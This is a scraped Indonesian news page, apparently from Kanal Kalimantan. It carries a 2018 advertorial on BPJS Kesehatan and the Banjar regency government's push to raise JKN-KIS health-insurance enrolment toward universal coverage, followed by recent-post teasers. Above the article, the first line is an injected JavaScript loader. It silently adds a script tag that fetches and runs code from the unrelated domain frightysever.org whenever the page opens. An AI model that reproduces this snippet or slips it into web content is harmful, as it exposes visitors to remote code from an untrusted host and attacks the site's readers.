(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

BPJS Kesehatan-Pemkab Banjar Fokus Percepatan UHC


BANJARMASIN, Badan Penyelenggara Jaminan Sosial (BPJS) Kesehatan diberikan amanah melalui UU Nomor 24 tahun 2011 tentang Badan Penyelenggara Jaminan Sosial menyelenggarakan Program Jaminan Kesehatan Nasional-Kartu Indonesia Sehat (JKN-KIS).

Program JKN-KIS sendiri hadir di tengah masyarakat untuk memberikan kepastian jaminan kesehatan secara menyeluruh kepada seluruh lapisan masyarakat untuk kesejahteraan setiap individu yaitu dapat hidup sehat dan produktif.

BPJS Kesehatan sebagai penyelenggara program JKN-KIS tidak akan bisa bergerak sendiri untuk menyukseskan program JKN-KIS diperlukan peran serta pihak-pihak terkait khususnya peran pemerintah daerah. BPJS Kesehatan Cabang Banjarmasin kembali mengadakan FGD kepada Pemkab Banjar yang dihadiri Wakil Bupati Banjar H Saidi Mansyur untuk membahas percepatan Universal Health Coverage (UHC) di Kabupaten Banjar, Jumat (14/9).

Sebagai informasi, sampai dengan bulan September 2018 kepesertaan JKN-KIS di Kabupaten Banjar baru mencapai 41,09% dari total jumlah penduduk atau 223.443 jiwa. Tentunya dari target cakupan UHC pada 1 Januari 2019, diperlukan kerja ekstra untuk mengejar capaian target yang diharuskan mengingat waktu yang tersedia kian mepet.

“Melalui pertemuan ini kami mencoba membahas strategi apa saja yang bisa dilakukan guna mendongkrak jumlah kepesertaan JKN-KIS di Kabupaten Banjar, salah satu upaya yang bisa didapat ialah mengoptimalkan integrasi Jaminan Kesehatan Daerah (Jamkesda) menjadi peserta JKN-KIS,” jelas Kepala BPJS Kesehatan Cabang Banjarmasin Muhammad Fakhriza.

Pemkab Banjar berkomitmen segera melakukan proses verifikasi dan validasi data masyarakat kurang mampu di Kabupaten Banjar yang didapat dari LayananTerpadu Penanggulangan Kemiskinan Daerah (LTPKD), sebagai persiapan apabila ada pengajuan usulan penambahan anggaran APBD untuk mendaftarkan masyarakat kurang mampu menjadi peserta JKN-KIS.

Pemkab Banjar tentunya ingin program mulia milik negara ini dapat berjalan dengan baik, untuk itu koordinasi dengan BPJS Kesehatan sebagai upaya monitoring terhadap progress capaian kepesertaan JKN-KIS harus lebih ditingkatkan.

“Kami bermaksud untuk membentuk tim percepatan UHC bersama dengan BPJS Kesehatan serta instansi-instansi pemerintah terkait. Tentunya semua usaha ini dilaksanakan demi menjamin kesejahteraan rakyat Kabupaten Banjar,” ujar Wakil Bupati Banjar Saidi Mansyur. (arief)

Reporter : Arief
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.